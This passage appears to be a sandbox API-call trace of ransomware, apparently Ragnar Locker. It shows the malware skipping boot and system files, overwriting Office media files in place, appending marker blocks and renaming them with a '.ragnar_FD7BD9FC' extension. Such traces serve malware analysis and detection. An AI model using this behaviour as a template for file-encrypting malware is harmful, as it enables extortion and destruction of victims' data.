lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.479] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.479] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.480] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.480] GetProcessHeap () returned 0x580000 [0096.480] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.480] CloseHandle (hObject=0xf4) returned 1 [0096.480] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF" [0096.480] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF.ragnar_FD7BD9FC" [0096.480] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18181_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18181_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.480] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ce0000, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa0ce0000, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18182_.WMF", cAlternateFileName="")) returned 1 [0096.480] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.480] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18182_.WMF" | out: lpString1="BD18182_.WMF") returned="BD18182_.WMF" [0096.481] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF") returned=".WMF" [0096.481] lstrcmpiW (lpString1="BD18182_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.481] lstrcmpiW (lpString1="BD18182_.WMF", lpString2="autorun.inf") returned 1 [0096.481] lstrcmpiW (lpString1="BD18182_.WMF", lpString2="boot.ini") returned -1 [0096.481] lstrcmpiW (lpString1="BD18182_.WMF", lpString2="bootfont.bin") returned -1 [0096.481] lstrcmpiW (lpString1="BD18182_.WMF", lpString2="bootsect.bak") returned -1 [0096.481] lstrcmpiW (lpString1="BD18182_.WMF", lpString2="bootmgr") returned -1 [0096.481] lstrcmpiW (lpString1="BD18182_.WMF", lpString2="bootmgr.efi") returned -1 [0096.481] lstrcmpiW (lpString1="BD18182_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.481] lstrcmpiW (lpString1="BD18182_.WMF", lpString2="desktop.ini") returned -1 [0096.481] lstrcmpiW (lpString1="BD18182_.WMF", lpString2="iconcache.db") returned -1 [0096.481] lstrcmpiW (lpString1="BD18182_.WMF", lpString2="ntldr") returned -1 [0096.481] lstrcmpiW (lpString1="BD18182_.WMF", lpString2="ntuser.dat") returned -1 [0096.481] lstrcmpiW (lpString1="BD18182_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.481] lstrcmpiW (lpString1="BD18182_.WMF", lpString2="ntuser.ini") returned -1 [0096.481] lstrcmpiW (lpString1="BD18182_.WMF", lpString2="thumbs.db") returned -1 [0096.481] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.481] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.481] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.481] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.481] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.481] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.481] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18182_.wmf")) returned 0x20 [0096.481] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18182_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.482] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=3166) returned 1 [0096.482] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc55, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.482] GetProcessHeap () returned 0x580000 [0096.482] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.482] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.484] VirtualAlloc (lpAddress=0x0, dwSize=0xc5e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.484] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.484] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.484] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc5e, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xc5e, lpOverlapped=0x0) returned 1 [0096.484] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.484] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc5e, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.484] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc5e, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xc5e, lpOverlapped=0x0) returned 1 [0096.484] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc5e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.484] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.485] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc5e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.485] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.485] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.485] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.485] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.485] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.485] GetProcessHeap () returned 0x580000 [0096.485] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.485] CloseHandle (hObject=0xf4) returned 1 [0096.485] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF" [0096.485] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF.ragnar_FD7BD9FC" [0096.485] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18182_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18182_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.486] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe12d7e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe12d7e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xd22, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18184_.WMF", cAlternateFileName="")) returned 1 [0096.486] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.486] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18184_.WMF" | out: lpString1="BD18184_.WMF") returned="BD18184_.WMF" [0096.486] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF") returned=".WMF" [0096.486] lstrcmpiW (lpString1="BD18184_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.486] lstrcmpiW (lpString1="BD18184_.WMF", lpString2="autorun.inf") returned 1 [0096.486] lstrcmpiW (lpString1="BD18184_.WMF", lpString2="boot.ini") returned -1 [0096.486] lstrcmpiW (lpString1="BD18184_.WMF", lpString2="bootfont.bin") returned -1 [0096.486] lstrcmpiW (lpString1="BD18184_.WMF", lpString2="bootsect.bak") returned -1 [0096.486] lstrcmpiW (lpString1="BD18184_.WMF", lpString2="bootmgr") returned -1 [0096.486] lstrcmpiW (lpString1="BD18184_.WMF", lpString2="bootmgr.efi") returned -1 [0096.486] lstrcmpiW (lpString1="BD18184_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.486] lstrcmpiW (lpString1="BD18184_.WMF", lpString2="desktop.ini") returned -1 [0096.486] lstrcmpiW (lpString1="BD18184_.WMF", lpString2="iconcache.db") returned -1 [0096.486] lstrcmpiW (lpString1="BD18184_.WMF", lpString2="ntldr") returned -1 [0096.486] lstrcmpiW (lpString1="BD18184_.WMF", lpString2="ntuser.dat") returned -1 [0096.486] lstrcmpiW (lpString1="BD18184_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.486] lstrcmpiW (lpString1="BD18184_.WMF", lpString2="ntuser.ini") returned -1 [0096.486] lstrcmpiW (lpString1="BD18184_.WMF", lpString2="thumbs.db") returned -1 [0096.486] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.486] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.486] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.486] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.486] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.486] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.487] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18184_.wmf")) returned 0x20 [0096.487] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18184_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.487] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=3362) returned 1 [0096.487] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd19, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.487] GetProcessHeap () returned 0x580000 [0096.487] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.487] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.489] VirtualAlloc (lpAddress=0x0, dwSize=0xd22, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.489] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.489] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.489] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd22, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xd22, lpOverlapped=0x0) returned 1 [0096.489] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.489] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd22, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.490] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd22, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xd22, lpOverlapped=0x0) returned 1 [0096.490] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd22, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.490] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.490] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd22, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.490] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.490] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.490] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.490] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.490] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.490] GetProcessHeap () returned 0x580000 [0096.490] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.490] CloseHandle (hObject=0xf4) returned 1 [0096.490] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF" [0096.490] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF.ragnar_FD7BD9FC" [0096.491] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18184_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18184_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.491] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8867900, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd8867900, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0xd42, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18185_.WMF", cAlternateFileName="")) returned 1 [0096.491] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.491] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18185_.WMF" | out: lpString1="BD18185_.WMF") returned="BD18185_.WMF" [0096.491] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF") returned=".WMF" [0096.491] lstrcmpiW (lpString1="BD18185_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.491] lstrcmpiW (lpString1="BD18185_.WMF", lpString2="autorun.inf") returned 1 [0096.491] lstrcmpiW (lpString1="BD18185_.WMF", lpString2="boot.ini") returned -1 [0096.491] lstrcmpiW (lpString1="BD18185_.WMF", lpString2="bootfont.bin") returned -1 [0096.491] lstrcmpiW (lpString1="BD18185_.WMF", lpString2="bootsect.bak") returned -1 [0096.491] lstrcmpiW (lpString1="BD18185_.WMF", lpString2="bootmgr") returned -1 [0096.491] lstrcmpiW (lpString1="BD18185_.WMF", lpString2="bootmgr.efi") returned -1 [0096.492] lstrcmpiW (lpString1="BD18185_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.492] lstrcmpiW (lpString1="BD18185_.WMF", lpString2="desktop.ini") returned -1 [0096.492] lstrcmpiW (lpString1="BD18185_.WMF", lpString2="iconcache.db") returned -1 [0096.492] lstrcmpiW (lpString1="BD18185_.WMF", lpString2="ntldr") returned -1 [0096.492] lstrcmpiW (lpString1="BD18185_.WMF", lpString2="ntuser.dat") returned -1 [0096.492] lstrcmpiW (lpString1="BD18185_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.492] lstrcmpiW (lpString1="BD18185_.WMF", lpString2="ntuser.ini") returned -1 [0096.492] lstrcmpiW (lpString1="BD18185_.WMF", lpString2="thumbs.db") returned -1 [0096.492] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.492] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.492] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.492] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.492] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.492] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.492] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18185_.wmf")) returned 0x20 [0096.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18185_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.492] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=3394) returned 1 [0096.492] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd39, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.493] GetProcessHeap () returned 0x580000 [0096.493] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.493] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.494] VirtualAlloc (lpAddress=0x0, dwSize=0xd42, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.494] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.494] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.494] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd42, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xd42, lpOverlapped=0x0) returned 1 [0096.495] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.495] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd42, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.495] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd42, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xd42, lpOverlapped=0x0) returned 1 [0096.495] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd42, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.495] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.495] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd42, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.495] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.495] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.495] WriteFile (in: 